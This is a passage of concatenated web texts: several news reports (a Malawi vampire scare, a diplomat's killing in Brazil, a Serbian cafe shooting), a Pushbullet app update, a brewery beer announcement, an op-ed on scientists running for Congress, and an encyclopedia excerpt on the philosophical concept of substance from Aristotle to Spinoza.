drugs, for just $1,600.  After a few months, tests showed that Bigsby's Hepatitis C virus has disappeared.  "[India allows] foreigners to come in and buy the medicine because it's very humanitarian," said Bigsby. "Americans just want the money."
-A vampire scare in Malawi has at least eight dead and the United Nations evacuating some of its staff, Reuters reports. The southeast African nation, bordered by Mozambique, Zambia, and Tanzania, is one of the poorest countries in the world. A recent resurgence of fear of vampires in the two southern districts of Phalombe and Mulanje has triggered violent lynch mobs to attack and kill those accused of vampirism.  “These districts have severely been affected by the ongoing stories of blood sucking and possible existence of vampires,” the United Nations Department of Safety and Security said in a released security report. The U.N. has relocated some but not all of their staff in the two rural districts due to safety concerns, and is closely monitoring events in the area as they unfold.  The same report said the mobs set up roadblocks to trap vampires, and that the vampirism rumors might have originated in northern Mozambique. It recommends the “temporary suspension of U.N. activities in the area until the situation is normalized.” Non-government organizations (NGOs) providing aid and resources to the area have also pulled out.  Belief in both witchcraft and the real life existence of vampires is widespread in rural Malawi, with the latter superstition perpetuating paranoia and violence, and not for the first time either. During a devastating famine in 2002, vigilante retribution erupted after a viral rumor circulated the idea vampires were secretly working with the government to collect blood for international aid agencies.  Women and children claimed they were the victims of blood thieves, and terrified villagers abandoned their fields. Malawi government leaders publicly denied both the existence of vampires and the conspiracy, which they said was a malicious story created to undermine the government. Unsatisfied, the vigilantes took the law into their own hands, publicly stoning to death a man accused of being a vampire. Three Roman Catholic priests were beaten and detained overnight by an entire village.  People accused of vampirism are not the only victims. In Malawi, Mozambique, and Tanzania, people with albinism are regularly murdered and dismembered, their body parts sold for witchcraft rituals. Amnesty International reports the situation as a “human rights crisis” because Malawi’s albino population faces possible “systemic extinction.”  As the U.N. human rights council’s expert on albinism and an albino herself, Ikponwosa Ero reported last year that albinos are targeted because of a superstitious belief that their body parts “can increase wealth, make businesses prosper, or facilitate employment.” In addition, there is a driving economic motivation.  “Malawi is one of the world’s poorest countries and the sale of body parts of persons with albinism is believed to be very lucrative,” said Ero.  Sanguivoriphobia is the fear of vampires, with the direct translation meaning “fear of blood eaters.”
-Getting Pushbullet set up should be easy.  In Today’s Android app update, we’ve completely rebuilt our onboarding flow to make it as simple as possible. The results speak for themselves, here’s the before and after:  We’re working to bring this level of simplicity to our entire service.  Pushbullet does some amazing things. It’s not always clear to newcomers, however, just how much Pushbullet can do for them. Making Pushbullet more accessible is the first step in making our service better for everyone.  Have a suggestion for us? Here’s how to get in touch:  The best place to post suggestions or report bugs is on the Pushbullet subreddit. This way others can see and comment on them, adding their support.  If you’re not a reddit user (or just want to chat with us directly), you can always send us an email at [email protected].  Discuss this post here on reddit
-Carton Brewing's next small batch beer, IDIPA, will be released in the tasting room on Thursday, April 7th, 5-8.  Carton Brewing's next small batch beer, IDIPA, will be released in the tasting room on Thursday, April 7th, 5-8.  Carton Brewing's next small batch beer, IDIPA, will be released in the tasting room on Thursday, April 7th, 5-8.  Carton Brewing's next small batch beer, IDIPA, will be released in the tasting room on Thursday, April 7th, 5-8.  Carton Brewing's next small batch beer, IDIPA, will be released in the tasting room on Thursday, April 7th, 5-8.  Carton Brewing's next small batch beer, IDIPA, will be released in the tasting room on Thursday, April 7th, 5-8.  IDIPA  American IPA  ABV: 7% | IBU: 70 | SRM: 7  Not much to analyze about IDIPA. Sometimes you just crave a dank IPA to sip on, so thats what we made. Multiple hops, multiple malts, multiple yeasts combined in a way to placate the dank side of our desires. Drink IDIPA because it the dankness you need!  Upcoming Events  Beer Dinner at Beach Tavern, Monmouth Beach April 13th (33 West St, Monmouth Beach, NJ 07750)  NJCB Night at Paragon Tap and Table, April 14th (77 Central Ave, Clarke, NJ 07066  Tap Take Over at Cloverleaf Tavern, Caldwell April 19th (395 Bloomfield Ave, Caldwell, NJ 07006) We'll be bringing Boat, B.D.G. 077xx, 077-07006 Sorachi, Carton of Milk, Red Rye Returning, HopPun, Grape Swisher, Carton Canyon, Epitome, Decoy, Squashenator, Shipwreck, Stormy, Disaster, Cosmonaut and more.  Hackettstown Taste of the Town (Donaldson Farms, 358 Allen Road, Hackettstown, NJ 07840) April 30th
-Story highlights Kyriakos Amiridis was appointed ambassador in January, Agencia Brasil reports  His remains were found inside a burned car this week, police say  The widow's paramour is accused of carrying out the killing  (CNN) Police contend Greece's ambassador to Brazil was killed by his wife's lover -- a military police officer -- and the widow is being questioned in the crime, Brazil's state-run Agencia Brasil news agency reported Saturday.  Chief Evaristo Pontes, a police investigator in the Baixada Fluminense region, said Friday that Sergio Gomes Moreira Filho claimed he killed the ambassador in self-defense and then recruited his cousin to help dispose of the body, Agencia Brasil News reported.  Ambassador Kyriakos Amiridis, 59, had been missing since Monday, Pontes said. A burned car with Amiridis' charred body inside was found in Nova Iguaçu, a town outside Rio de Janeiro, on Thursday, he said.  "He (Moreira) says he got into a physical fight with the ambassador, and he had no choice other than to hit the ambassador and kill him," Pontes said. "He says he was in desperation and didn't know what to do, given what had happened, so he asked a cousin for help and they went to make the ambassador's body disappear."  Greek ambassador to Brazil Kyriakos Amiridis.  Besides Moreira, the ambassador's widow, Francoise De Souza Oliveira, and the officer's cousin, Eduardo Moreira de Melo, are also being questioned, Pontes said.  Read More
-The 2012 election process has shown that the relationship between science and public policy is in danger of becoming irreparably damaged. Mainstream politicians are no longer limiting scientifically baseless attacks to newer science like global climate change. They are also attempting to tear down long established scientific advancements in areas like womens health, once championed by the left and right.  Much of this is the inevitable result of a long-term trend that occurs when a large portion of our society loses trust in science. For American scientists who care deeply about the future of our great nation, it is time to take a stand and bring science back to the forefront of public debate and defend what is true.  In purest form, science has no ideological basis. In the same way, real public policy solutions are not inherently Republican, Democrat, Libertarian or Green. In fact, like the political philosophies of most Americans, real solutions are generally a mix of ideologies and shaped by reality. Therefore, what scientists-turned-politicians should focus on is public policy initiatives that are based on defensible reasoning, with sensible metrics that demonstrate success or failure. The trick will be getting enough scientists in position to ward off the constant barrage of attacks.  Oddly enough, the Tea Party victories in 2010 provide a model for a science based political movement. Run candidates in every single primary. The advantage of this strategy is that scientists span all political backgrounds. Therefore candidates can run in every single Congressional primary: Republican Democrat, Libertarian, Green, etc.  Like any good scientist, I performed an experiment to see whether it was possible to run for Congress as a Ph.D. Physicist. In January of this year I entered the 2012 New Mexico Senate race. After a massively successful online question and answer session, I raised several hundred dollars for my campaign. I was floored and began the process of collecting signatures.  Unfortunately, my Senate campaign stalled out after the initial interest. Social media is not yet a sustainable way to run an individual campaign. Because of my late entry into the race, I didn't have enough time to organize a ground game to collect nearly 9k signatures by the deadline.  However, by creating a large scale scientific political movement, infrastructure could be created to run scientists in every Congressional election. And it would be a relatively cheap proposition by American political standards. Every two years, we elect approximately 33 U.S. Senators. Therefore, only 66 scientists would need to run to cover each of the Republican and Democratic primaries.  If funds are spent smartly, it only costs about $15k to get on the primary ballot for the U.S. Senate. The numbers break down like this (and vary from state to state). In New Mexico, getting a guaranteed spot on the Republican or Democratic ticket takes about 9k signatures (2X the number of signatures allows a safety margin for contested signatures). Signature gatherers can be hired for about one dollar a signature, and you will need to hire someone to coordinate the gatherers (or about $15k for a lean campaign).
-Image copyright Reuters Image caption Police have cordoned off the area around the cafe and are investigating the gunman's motive  Five people have been shot dead and at least 20 injured in a cafe in north-eastern Serbia.  Police say the gunman killed his wife and another woman, before randomly shooting at other customers at the cafe.  Three children were among those injured in the attack near the city of Zrenjanin, the interior ministry said.  The gunman was arrested and police are investigating his motive, which is believed to be jealousy.  Witnesses told Serbia's state TV that the attacker came to the Makijato cafe and saw his wife there with a group of friends, the AP news agency reports. He apparently went home and came back with a gun.  "He just pulled out a gun and started shooting, first into the air," one of the witnesses, Svetozar Manojlovic, said.  Image copyright Reuters Image caption Police have been talking to witnesses  "It sounded like firecrackers at first," he said. "Then the guy next to me fell down and others started falling down. It was total chaos."  Serbia's Interior Minister, Nebojsa Stefanovic, said the cafe guests eventually managed to grab the weapon from the man's hands.  Mr Stefanovic said the automatic weapon was illegal, and he appealed to people to hand over any illegal weapons, which proliferated after the war in the Balkans in the 1990s.
-Shakira's 'Waka Waka (This Time For Africa)' has been named official song of this year's soccer World Cup.  The Columbian born 'She Wolf' singer will also fly out to the opening of the tournament - which is being held in South Africa - on June 10 to perform at a concert which will also feature Alicia Keys and Black Eyed Peas.  Shakira said: "I am honored that 'Waka Waka' was chosen to be part of the excitement and the legacy of the 2010 FIFA World Cup  "The soccer World Cup is a miracle of global excitement, connecting every country, race, religion and condition around a single passion."  The song will also be featured on the soundtrack to the tournament, called 'Listen Up! The Official 2010 FIFA World Cup Album', which will be released on May 31, with proceeds from its sale going to various African charities.  Also on the bill at the opening concert - held at the Orlando Stadium in Johannesburg - are R'n'B singer John Legend, Mali's Amadou and Mariam, Beninoise singer Angelique Kidjo, South African rock group BLK JKS, Columbian rocker Juanes, South African indie group The Parlotones, Saharan desert musicians Tinariwen, Malian singer and guitarist Vieux Farka Toure, and South African artist Vusi Mahlasela.  The concert is expected to be attended by an audience of 30,000 at the Orlando Stadium in Johannesburg.
-First published Sun Oct 3, 2004; substantive revision Fri Nov 16, 2018  The second use of the concept is more specific. According to this, substances are a particular kind of basic entity, and some philosophical theories acknowledge them and others do not. On this use, Hume’s impressions and ideas are not substances, even though they are the building blocks of—what constitutes ‘being’ for—his world. According to this usage, it is a live issue whether the fundamental entities are substances or something else, such as events, or properties located at space-times. This conception of substance derives from the intuitive notion of individual thing or object, which contrast mainly with properties and events. The issue is how we are to understand the notion of an object, and whether, in the light of the correct understanding, it remains a basic notion, or one that must be characterized in more fundamental terms. Whether, for example, an object can be thought of as nothing more than a bundle of properties, or a series of events.  There could be said to be two rather different ways of characterizing the philosophical concept of substance. The first is the more generic. The philosophical term ‘substance’ corresponds to the Greek ousia, which means ‘being’, transmitted via the Latin substantia, which means ‘something that stands under or grounds things’. According to the generic sense, therefore, the substances in a given philosophical system are those things which, according to that system, are the foundational or fundamental entities of reality. Thus, for an atomist, atoms are the substances, for they are the basic things from which everything is constructed. In David Hume’s system, impressions and ideas are the substances, for the same reason. In a slightly different way, Forms are Plato’s substances, for everything derives its existence from Forms. In this sense of ‘substance’ any realist philosophical system acknowledges the existence of substances. Probably the only theories which do not would be those forms of logical positivism or pragmatism which treat ontology as a matter of convention. According to such theories, there are no real facts about what is ontologically basic, and so nothing is objectively substance.  Many of the concepts analysed by philosophers have their origin in ordinary—or at least extra-philosophical—language. Perception, knowledge, causation, and mind would be examples of this. But the concept of substance is essentially a philosophical term of art. Its uses in ordinary language tend to derive, often in a rather distorted way, from the philosophical senses. (Such expressions as ‘a person of substance’ or ‘a substantial reason’ would be cases of this. ‘Illegal substances’ is nearer to one of the philosophical uses, but not the main one.) There is an ordinary concept in play when philosophers discuss ‘substance’, and this, as we shall see, is the concept of object, or thing when this is contrasted with properties or events. But such ‘individual substances’ are never termed ‘substances’ outside philosophy.  Reflection on the concept of an object has its first theoretical articulation in Aristotle’s Categories, where he distinguishes between individual objects and the various kinds of properties they can possess. He illustrates the various categories:  each [individual term] signifies either substance or quantity or qualification or a relative or where or when or being in a position or having or doing or being affected. To give a rough idea, ideas of substance are man, horse; of quantity: four foot, five foot; of qualification; white, grammatical; of a relative: double, half, larger; of where: in the Lyceum, in the market-place; of when: yesterday, last year; of being in a position: is-lying, is-sitting; of having: has-shoes-on, has-armour-on; of doing: cutting, burning; of being-affected: being-cut, being-burnt. (1b25–2a4)  The individual substances are the subjects of properties in the various other categories, and they can gain and lose such properties whilst themselves enduring. There is an important distinction pointed out by Aristotle between individual objects and kinds of individual objects. Thus, for some purposes, discussion of substance is a discussion about individuals, and for other purposes it is a discussion about universal concepts that designate specific kinds of such individuals. In the Categories, this distinction is marked by the terms ‘primary substance’ and ‘secondary substance’. Thus Fido the dog is a primary substance—an individual—but dog or doghood is the secondary substance or substantial kind. Each arm of this distinction raises different issues. If one is concerned with kinds of substance, one obvious question that will arise is ‘what makes something a thing of that kind (for example, what is involved in being a dog)?’ This is the question of the essence of substantial kinds. But if one is concerned with individuals, the parallel question is ‘what makes something that particular individual of a given kind (for example, what is involved in a dog’s being and remaining Fido)?’ This is the question of individual essences and of identity over time. Aristotle was mainly, if not exclusively, concerned with questions of the first kind, but, as we shall see in sections 2.5.2 and 3, the latter question assumed a prominence later.  This association of substance with kinds carries over into a use of the term which is perhaps more scientific, especially chemical, than philosophical. This is the conception according to which substances are kinds of stuff. They are not individual objects nor kinds of individual object. Examples of this usage are water, hydrogen, copper, granite or ectoplasm.  There is a connotation of the word ‘substance’, reflected in the sense of substantial, which signifies durability or even permanence. Events, or Hume’s impressions and ideas are never substantial in this sense, because they are fleeting. Atoms, fundamental kinds of stuff, gods, or abstract entities, such as Platonic Forms or numbers, might be considered to be substantial to the point of being indestructible or eternal: they last at least as long as the world exists—and, in the case of gods or God, or abstract entities, perhaps longer.  It seems, in summary, that there are at least six overlapping ideas that contribute to the philosophical concept of substance. Substances are typified as:  being ontologically basic—substances are the things from which everything else is made or by which it is metaphysically sustained; being, at least compared to other things, relatively independent and durable, and, perhaps, absolutely so; being the paradigm subjects of predication and bearers of properties; being, at least for the more ordinary kinds of substance, the subjects of change; being typified by those things we normally classify as objects, or kinds of objects; being typified by kinds of stuff.  We shall see later that the Kantian tradition adds a seventh mark of substance:  substances are those enduring particulars that give unity to our spatio-temporal framework, and the individuation and re-identification of which enables us to locate ourselves in that framework. (It should be remarked in passing that at least one major expositor of Aristotle (Irwin: 1988, especially chs 1, 9, 10) attributes a very similar intention to Aristotle himself.)  In section 3.5 we shall introduce a notion grounded in Aristotle’s account, but which has not naturally found a place in the earlier discussion, namely the connection between substance and teleology. This can be expressed as:  The substances in a given system are those entities crucial from the teleological or design perspective of that system. ‘Crucial’ means that other things exist either to constitute them or to provide a context of operations for them.  Different philosophers emphasize different criteria from amongst this list, for reasons connected with their system as a whole. One could plausibly say that an account is intuitively more appealing, the more of the criteria it can find a place for. Probably, the Aristotelian tradition comes nearest to doing this.  Almost all major philosophers have discussed the concept of substance and an attempt to cover all of this history would be unwieldy. The selection made will concentrate on those philosophers in whom the broadly analytic tradition has shown most interest. First we shall look at the development of the concept in the ancient world, culminating in the work of Aristotle. His account dominated debate through the Middle Ages and until the early modern period. We shall consider various rationalist and empiricist treatments of the concept. Locke’s contribution will be considered in especial detail because so much contemporary discussion is inspired (as we shall see in section 3) by an Aristotle-Locke nexus.  Many of the pre-socratic philosophers in fact had a concept of substance rather like that above attributed to chemistry: that is, their emphasis was on criterion (vi) above. They thought, that is, that the being of the universe (hence they were pursuing substance in sense (i)) consisted in some kind or kinds of stuff. Thales, for example, thought that everything was essentially water, and Anaximenes that everything was a form of air. For Anaximander, the ‘stuff’ in question was indeterminate, so that it could transmute into the various determinate stuffs such as water, air earth and fire. By contrast, atomists such as Democritus took those determinate particular objects they called ‘atoms’ to be the substance of the universe. Atoms are objects in our ordinary sense, though they are not our ordinary objects: they are not dogs and cats or tables and chairs. They are the subjects of predication, but they do not change their intrinsic properties. Classical atoms are, therefore, strong instances of (i) and (ii), but somewhat deviant cases of (iii) and (v).  Plato rejected these materialist attempts to explain everything on the basis of that of which it was made. According to Plato, the governing principles were the intelligible Forms which material objects attempted to copy. These Forms are not substances in the sense of being either the stuff or the individuals or the kinds of individuals out of which all else is constructed. Rather they are the driving principles which give structure and purpose to everything else. In itself, the rest would be, at most, an unintelligible chaos. The Forms meet criterion (i)—ontological basicness—but in a slightly eccentric way, because they do not, in a normal sense, constitute things. They meet (ii)—durability—in a strong fashion, for they are eternal. They are not, in the intended senses, the subjects of predication, and in no sense the subjects of change, so they do badly on (iii) and (iv). They do not do well on (v) for they are not individual things in any normal sense, though they are individuals, of a very unusual kind. (Aristotle’s main criticism of Plato’s Forms was that they are a bastard confusion of universal and particular. See Fine (1993).) They are in no way kinds of stuff, hence failing (vi). But failure to meet these standards is not carelessness on Plato’s part. It reflects his emphasis on criterion (i), together with his particular view about the way in which forms are basic.  There are two main sources for Aristotle’s approach to substance, the Categories and Metaphysics Z. These will be discussed in turn.  2.2.1 Categories  Aristotle’s account in Categories can, with some oversimplification, be expressed as follows. The primary substances are individual objects, and they can be contrasted with everything else—secondary substances and all other predicables—because they are not predicable of or attributable to anything else. Thus, Fido is a primary substance, and dog—the secondary substance—can be predicated of him. Fat, brown, and taller than Rover are also predicable of him, but in a rather different way from that in which dog is. Aristotle distinguishes between two kinds of predicables, namely those which are ‘said of’ objects and those which are ‘in’ objects. The interpretation of these expressions is, as usually with Aristotelian cruxes, very controversial, but a useful way of looking at it is as follows. Dog is said of Fido because it characterizes him as a whole. Fat and the others are described as being in because they pick out a constituent feature that could be said to be, in a logical though not a physical sense, part of, or in him. Fido the individual is not attributable to any further thing at all.  This account is intuitive, but perhaps it cannot be treated as a formally adequate definition of the notion of primary substance or individual. Fido the individual could be said to be in a certain location and so attributed to something, namely a place. It is natural to reply to this that an object is not an attribute of a place in the same way as a property is an attribute of a thing: the property is in a thing ‘as a subject’, but a place is not a subject to which a thing is attributed: the place does not ‘underlie’ the thing as a thing ‘underlies’ its properties. Although this may be true, it presupposes that we already have a grasp on the sense in which properties belong to objects and how this differs from the various ways that objects belong to or can be attributed to things, and that we can call upon this informal understanding in interpreting the theoretical account. Whether this is legitimate might depend on what the objective was. If the objective were to explain the difference between substance and property in an entirely non-circular way by appealing to the fact that properties are in substances but substances are not in things, this would involve taking the notion of being in as primitive. If we have to distinguish the sense in which properties are in substances from the way in which substances can be in things—such as places—before we can make the original point, then there has not been a non-circular account. If, on the other hand, the objective is simply to differentiate between concepts already in play, then Categories achieves its objective.  Perhaps it is better, therefore, to see Aristotle in Categories not as defining ‘substance’, so that someone wholly lacking the concept might come to understand it, but as exhibiting the marks and characteristics of a primitive concept on which we have an intuitive grasp. If we understand his project in this way, we can see Aristotle as presenting various marks of substance in Categories. The marks of primary substance are:  Being objects of predication but not being themselves predicable of anything else (at least, not in the way entities in the other categories are: see the problem about attribution to location above). Being able to receive contraries. (4 a10) A substance can go from being hot to being cold, or from being red to being blue, but the instance of blue in an object cannot similarly take on and lose a wide range of attributes. If substance did not exist it would be impossible for things in any of the other categories to exist. There could be no instances of properties if there were no substances to possess them.  But these criteria do not show why ‘dog’ is a secondary substance term and ‘brown thing’ is not. So we need marks for being a secondary substance, or substance concept. On this he says two things.  ‘It is reasonable that, after the primary substances, their species and genera should be the only other things called (secondary) substance. For only they, of things predicated, reveal the primary substance.’ (2 b28–30) ‘Of the secondary substances the species is more a substance than the genus, since it is nearer to the primary substance. For if one is to say of the primary substance what it is, it will be more apt to give the species than the genus.’ (2 b8–11)  The second of these two points is more uncontroversial than the first, for it is indubitable that species terms focus more precisely on particular things than generic terms. The first is, however, once again intuitive but not compelling. It appeals to the fundamental intuition that ‘dog’ tells you what Fido is better than ‘brown thing’ does, but does not really give a reason for this claim. Only in Section 3.3, when we discuss Wiggins’s theory, will we find more formal reasons for treating species or sortal concepts as more revealing of ‘what something really is’ than are other terms.  The division between being said of and being in—that is, between substance concepts and other properties—seems intuitively clear enough until one remembers that substance concepts are complex and are definable in terms of other properties. Thus, ‘man’ is defined as ‘featherless biped’ or ‘rational animal’, and it would seem that ‘featherless’, ‘two-footed’ or ‘rational’ are properties and hence the kinds of things that are in objects. Aristotle denies that this is so when they enter into the definition of a substance. The features that specifically make an object the kind of substance that it is, are called differentiae, and Aristotle says  the differentia also is not in a subject. For footed and two-footed are said of man as subject, but are not in a subject; neither footed not two-footed is in man. (3 a23–5)  It would seem that these properties belong to objects in different ways when they are part of a definition from when they are not. The issue is what constitutes the unity of the species or secondary substance: why is it not just a collection of properties and, if it is just such a collection, why is it so different from any other collection of properties? In order to begin to see how Aristotle tackled this problem we need the apparatus of form and matter, which does not appear in the Categories. (We will see when discussing contemporary theories in section 3.1, however, that it is not clear that even now can we provide a wholly non-circular account of substance.)  2.2.2 Metaphysics  The Categories sets out important logical distinctions between different kinds of attribute, but it does not enter into a metaphysical analysis of substance itself. This takes place mainly in Metaphysics, Book Z. In the latter, the analysis of substances in terms of form and matter is developed, whereas these notions have no place in Categories. The distinction has led some commentators to talk of Aristotle’s ‘two systems’, containing two radically different conceptions of substance. (Graham 1987) In the earlier, Categories, substances are simply individuals; in the later work they are complexes of form and matter. Whether this represents a change of view, or whether the purposes of the Categories simply did not require reference to the metaphysical analysis of substance is a moot point. It seems unlikely, however, given Aristotle’s Platonic background, that his early thought was oblivious to the role of form in substance. Whichever interpretation of the development of Aristotle’s thought is correct, the introduction of substantial form is what gives the fully developed Aristotelian account of substance.  Aristotle analyses substance in terms of form and matter. The form is what kind of thing the object is, and the matter is what it is made of. The term ‘matter’ as used by Aristotle is not the name for a particular kind of stuff, nor for some ultimate constituents of bodies, such as atoms (Aristotle rejects atomism). ‘Matter’ is rather the name for whatever, for a given kind of object, meets a certain role or function, namely that of being that from which the object is constituted. Relative to the human body, matter is flesh and blood. The matter of an axehead is the iron from which it is made. Relative to the elements, earth, fire, air and water, matter is an intrinsically characterless ‘prime matter’ which underlies the qualities of them all.  Aristotle acknowledges that there are three candidates for being called substance, and that all three are substance in some sense or to some degree. First, there is matter, second, form and third, the composite of form and matter. Aristotle acknowledges that matter can be a subject of predication and of change, thereby meeting one of the main criteria set up in Categories (1028 b35ff). This suggests an inadequacy or incompleteness in the account in Categories, for there he had seemed to assume that being the subject of predication belonged peculiarly to substance, and also that a subject is an individual of an appropriate kind—what he calls a ‘this such’: and matter is not an individual, but that from which an individual is made. Two of the criteria of substancehood presented in the Introduction above are: (v) being individuals and kinds of individual; (vi) being stuffs and kinds of stuff. Aristotle acknowledges that things under (vi)—‘natural bodies such as fire and water and everything of that sort’ (1028 b10–11)—are, or are thought to be, substances. But, without seeming to give much argument, he strongly favours (v) over (vi).  The elimination of matter as a good candidate for being substance, leaves either form alone or the composite of form and matter. The composite seems more consonant with the doctrine of Categories, for the composite is the individual. Aristotle, however, chooses the form as more paradigmatically substance. This has puzzled some commentators. Wiggins (1998: 232ff), for example, thinks that the change in doctrine between Categories and Metaphysics is wholly unhelpful. The choice of form as substance causes perplexity because the form seems to be a universal and equivalent to the secondary substance, and so not the most fundamental case of substance. But whether substantial forms are universals in Aristotle is a controversial matter. Interpreters disagree about whether the doghood that is in Fido is best regarded as the universal, or as the particular instance of the universal doghood, other dogs exemplifying numerically different instances of the same universal. (For example, Lloyd: 1981, Irwin: 1988, Woods: 1991, and Bostock’s commentary to Aristotle 1994.) On this view, the most perspicuous way of regarding the individual substance is not as the composite of form and matter (though this is not wrong) but as the form individualized in the matter. The matter is still an essential component in the substance, but not, so to speak, as an equal partner with the form, but as the catalyst by means of which the form becomes an individual substance. It is clear, however, that if one holds that Aristotle thinks that forms are universals, then forms are not substance, for, in his attacks on Plato, Aristotle makes it plain that universals are not substance. Substances for Aristotle are individuals, but it is much debated whether they are individualized forms or composites of form and matter.  There are at least three serious questions about Aristotle’s substantial forms. One we have already noticed, namely (i) whether such forms are universals or particulars. The others are (ii) what is the relationship between the substantial form and the properties which enter into its definition? We have already noticed this question when discussing Categories. (iii) What is the ontological status of such forms? This is connected with the second question, for it is connected with the question of what the substantial form is over and above the properties essential to it. What I mean by this is as follows. Let us agree, for purposes of argument, that human being is a kind of substance and that rationality and animality are the properties in terms of which that substance is defined. It is uncontroversial that these properties are meant to be objective features of the external world. But what is the relation between the substantial form and those properties? Is the presence of the substantial form human being nothing more than the presence of those properties, or is the form something further which is, in some sense responsible for the presence of those properties? We saw in the previous section that the differentia in terms of which a substance is defined is not treated as being ‘in’ objects, as other properties are. This seems to suggest that calling an object a substance of a certain sort is not just a way of attributing to it the properties in terms of which it is defined. Aristotle is undoubtedly a realist about substantial forms, in the sense of thinking them to be something more than a mere collection of properties, but how are we to understand this ‘more’?  It would be universally agreed by scholars that substantial forms are real in the sense that they play an irreducible and ineliminable explanatory role in the behaviour of the things in which they are the form. There are two interpretations of what Aristotle meant by this, one of which seems compatible with modern science and the other not. First the compatibilist one. Empiricist philosophers of science used to believe that the concepts in higher order sciences could be reduced, either by means of reductive definition or by ‘bridging laws’, to those in the more basic sciences. (See, for example, Nagel 1961.) By such means, everything could be understood in terms of the most basic science—presumed to be physics. Concepts in the other sciences are thus only a kind of shorthand for laborious descriptions in the language of physics. Few, if any, philosophers of science believe this now. They agree that, even if the world is ‘closed under physics’—every event has a complete set of physical causes—the concepts of the other sciences are irreducible and do autonomous explanatory jobs. Even if dogs are wholly physical objects and even if all the atoms in dogs follow very precise laws of physics, nevertheless when doing the biology of dogs one will need concepts not to be found in a physics textbook. This is not for mere shorthand convenience, but because of the kinds of things in which, for example, the biologist or veterinary scientist is interested. There are interpreters of Aristotle who think that this kind of irreducibility is all that Aristotle means—or needs to mean—by postulating an explanatory role for substantial form. His theory is at least neutral on the question of whether there is a closed system at the level of basic physics. (Nussbaum 1978, 1984)  The stronger, incompatibilist interpretation is that Aristotle did not believe that the behaviour of complex entities followed from the laws that govern their parts or their matter. (Gotthelf 1987, Robinson 1983) By contrast, the behaviour of the matter is influenced by what it is the matter of. The nature of the matter places restrictions on what the enmattered thing can do—an animal can only be made from living tissue, not of stone or fire—but exactly how that matter behaves depends on the substantial form present in it. The substantial form plays, therefore, an essential role, not merely in certain kinds of scientific explanation, but by being a fundamental efficient cause in its own right. Whichever of these is the correct interpretation of Aristotle, it was the second which was the core of ‘Aristotelian science’ as found in scholastic philosophy, and it was this aspect of the Aristotelian doctrine of substance that aroused most opposition amongst seventeenth century philosophers and scientists. They insisted that bodies behave as they do because of the mechanical consequences of the nature of the matter from which they are made: the matter is not ‘pushed around’ or organized by a substantial form. Philosophers and scientists of the seventeenth and eighteenth centuries believed that in rejecting such influences they were rejecting the Aristotelian doctrine of substance.  Finally, let us consider how Aristotle fares according to the criteria of substance with which we ended the introduction. Aristotelian substance, whether construed as individualized form or composite of form and matter meets (i), the criterion of ontological basicness. It also meets (ii), relative durability, although in a rather modest manner. Individual substances are more durable than instances of the properties in the other categories, for it is substances that can take on and lose those other properties. Individuals are not, however, very long-lived and on this criterion Aristotle makes what could be regarded as a concession to Plato, for it is form as universal, which Aristotle does not consider properly substance, which is most durable. There are at least two senses in which substantial forms are eternal. First, Aristotle believes the world to be eternal and all the same species to exist eternally. So that, even though particular objects are subject to degeneration and decay, the species as such are eternal. Second, generation and decay depend on the material component in composites. Any form that does not require matter for its activity will be eternal by nature. This applies to the active intellect, which is an essential feature of all human intellects, and to the immaterial movers of the cosmos described in Metaphysics, Book Lambda. (Further consideration of these topics would take us into Aristotle’s philosophy of mind and his theology.)  As we have seen, substances are the paradigm subjects of predication and change, so (iii) and (iv) are met. As Aristotle’s substances are individual things and kinds of things (v) is met. A nod is made in the direction of stuffs and kinds of stuff, but Aristotle does not develop this thought, so (vi) is barely met.  There were two major problems that the Aristotelian tradition has faced in the modern period. They are: (1) explaining and justifying the sense in which substantial forms have causal or explanatory power, especially in the light of a developed mechanistic chemistry or physics; (2) the difficulty in understanding the relation of substantial form to properties, especially those in terms of which a given substance is defined. These are connected. It is because the substantial form has genuine causal force that it is conceived of by Aristotle as a unified entity in its own right, and not just as a name for the collocation of properties in terms of which it is defined.  (One subject that has not been discussed is the connection between the doctrine of substance and teleology. Aristotle regards this relation as important, but in this entry it will have a section of its own, 3.5 below.)  The standard account of the medieval treatment of the topic is that S. Thomas Aquinas is the only important figure and what he says differs little from Aristotle, except for making things more rigid and formal. It is clear, however, that this is a serious oversimplification. For a more nuanced and sophisticated view, see Lagerlund (2012), on which this section draws extensively.  Our discussion of Aristotle ended by returning to the issue if the unity of substantial form – what is the difference between a collection of ‘essential’ properties and the form as a unitary entity. Various aspects of this issue of the unity of substantial form preoccupied medieval philosophers. According to Aquinas, a substance possessed only one form, and its matter was the essentially characterless prime matter. In other words the informed parts of an object – in the case of a living creature, its organs, and the various kinds of stuff that constituted it (in the end, quantities of earth fire air and water) did not possess their own forms, but were informed by the overall substantial form. Others disagreed. Some of the disagreements were internal to the hylomorphic system. Duns Scotus, for example, argued that a dead person’s body was the same body as had existed when that person was alive. The soul had departed, so the form which was the immortal soul could not be identical with the form of the body. This argument may seem to be specialized to the case of the human immortal soul, but, presumably, a similar problem applies to a dead parrot: it has lost its perceptive and vegetative souls, yet is the same body – even if it is no longer a parrot.  This line of thought proved to be a slippery slope, and, as so often, the downward slide was led by William of Ockham. On the one hand, Ockham was committed to hylomorphism, in that a substance is composed of form and matter. But he reverses the priorities of Aquinas and Scotus by saying that the parts are actual in their own right and do not derive their actuality from the whole: rather, the whole is nothing but the sum of its parts. This line of thought opened the way to atomism and to treating the unity of wholes as a matter of convention or degree. Buridan, who represents a further development in this direction, says  In this sense, I am not the same as I was yesterday, because something was part of my integrity yesterday, which has already been used up, and something was not part of my integrity, which has meanwhile been added by nourishment.(Buridan, Physics I,q.10, f. xiii: cited Lagerlund, 476)  It is clear that this way of thinking paves the way for atomism and its associated problems as they emerged in early modern philosophy.  The concept of substance figures centrally in a positive way for the rationalist philosophers, in a way that it does not for the empiricists. The rationalists’ substances are not, however, the individual objects of everyday life.  Descartes believed in only two kinds of substance: material body, which is defined by extension, and mental substance, which is defined by thought, which, in this context, is more or less equivalent to consciousness. Descartes (like Aristotle and unlike most of his contemporaries and immediate successors) was not an atomist. He did not believe in a void between bodies, so there is a sense in which there is just one material substance, numerically as well as specifically. For Descartes, therefore, material substance falls more naturally into the stuff category, rather than into the thing category. The situation is different for mental substance. The cogito shows that Descartes definitely believes that each person is a different individual mental substance.  Descartes, like the atomists, believed that matter operates in an entirely mechanical way. There is, therefore, no causal role for substantial form to play and, hence, no need for such forms. His two substances are each defined in terms of one property (extension for matter and thought for mind), hence there is no problem about the relation between substance and the properties in terms of which it is defined. As he does not have substances as individuals made of kinds of stuff, there is no conflict between individuals and stuffs.  For Spinoza, there is only one substance, the existence of which is demonstrated by a version of the ontological argument, which is thought of as being both God and Nature. It is an unending 